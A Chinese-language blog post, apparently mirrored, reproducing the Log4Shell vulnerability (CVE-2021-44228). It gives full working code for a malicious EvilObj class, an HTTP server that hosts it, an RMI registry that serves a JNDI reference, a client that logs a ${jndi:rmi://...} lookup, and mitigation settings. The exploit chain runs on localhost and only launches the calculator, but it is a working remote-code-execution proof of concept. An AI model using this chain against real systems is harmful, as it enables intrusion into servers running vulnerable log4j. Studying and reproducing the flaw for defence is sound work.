天天看點

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

2021年12月10日淩晨,Apache 開源項目 Log4j 的遠端代碼執行漏洞細節被公開,漏洞編号:CVE-2021-44228,名稱:Log4Shell。由于 Log4j 的廣泛使用,該漏洞一旦被攻擊者利用會造成嚴重危害。關于漏洞的細節想必大家都很感興趣,我們這邊直接用代碼來複現漏洞。

目錄

​​實驗環境​​

​​操作步驟​​

​​準備惡意對象​​

​​啟動HTTP伺服器​​

​​啟動RMI伺服器​​

​​啟動Client​​

​​項目代碼​​

​​漏洞修複​​

實驗環境

java版本 : 1.8.0_91

python版本:  3.10.1  (python版本與此次實驗無強關聯,隻是為了搭建http伺服器)

log4j版本 : 2.14.1

實驗概覽:

此次采用rmi注入,主要有這三個部分。

Client:模拟受攻擊的伺服器,執行log4j的日志

HTTP伺服器:用于上傳注入的代碼,并傳回給Client

RMI伺服器:用于接收Client發送的rmi請求,并傳回遠端對象位址

惡意對象:在這個對象的靜态代碼塊中寫入想要執行的代碼,如cmd指令。Client在加載對象時,由于預設執行靜态代碼塊,cmd指令也會被執行。

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

操作步驟

接下來是各部分的代碼展示,我們按照啟動順序展開

準備惡意對象

這是對象EviObj的代碼,這裡為了更好的示範,我們隻是簡單的執行一個calc指令(windows系統指令),調用電腦。如果大家不是windows的話,自行修改為其他指令。

public class EvilObj {
    static {
        try{
            // open the calc
            Runtime.getRuntime().exec("calc");
        }catch (Exception e){
            e.printStackTrace();
        }

    }

}      

準備好代碼後,我們編譯成class

執行javac EvilObj.java  獲得EvilObj.class

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

啟動HTTP伺服器

這裡為了示範友善,我們直接用python3自帶的SimpleHTTPServe來啟動,指令如下

python  -m http.server 6666      

同時将EvilObj.class放在http伺服器的根目錄,也就是執行該python指令的所在目錄。

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

啟動RMI伺服器

這裡為了示範友善我rmi伺服器也起在本地,監聽端口1099,同時傳回http伺服器的位址為127.0.0.1:6666

代碼如下

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;

import javax.naming.Reference;

import java.rmi.AlreadyBoundException;

import java.rmi.RemoteException;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

public class RmiServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

        Registry registry = LocateRegistry.createRegistry(1099);

        String url = "http://127.0.0.1:6666/";

        System.out.println("Create RMI registry on port 1099");

        Reference reference = new Reference("EvilObj", "EvilObj", url);

        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

        registry.bind("evil", referenceWrapper);

    }
}      

執行Main方法啟動

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

啟動Client

模拟收到攻擊,列印惡意日志

import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;


public class Main {
    private static final Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        // 執行該日志注入
        log.error("${jndi:rmi://127.0.0.1:1099/evil}");
    }

}      

啟動後可以看到,成功調用了電腦

【核彈級漏洞】Apache Log4j2 漏洞複現(CVE-2021-44228 )包含源碼

項目代碼

漏洞修複

漏洞修複的方式較多,這裡列出一些主要方式,随時會更新。

出現漏洞的log4j版本為 version <= 2.14.1,雖然漏洞一爆出來,log4j官方就釋出新版本2.15.0,但是目前還是不停的在出rc版本。截至目前12月14号已經釋出到了2.16.0 ,建議更新最新版本搭配以下任意一種方式修複。

1、設定配置參數:

log4j2.formatMsgNoLookups=true

2、修改JVM參數:

-Dlog4j2.formatMsgNoLookups=true

3、修改系統環境變量:

繼續閱讀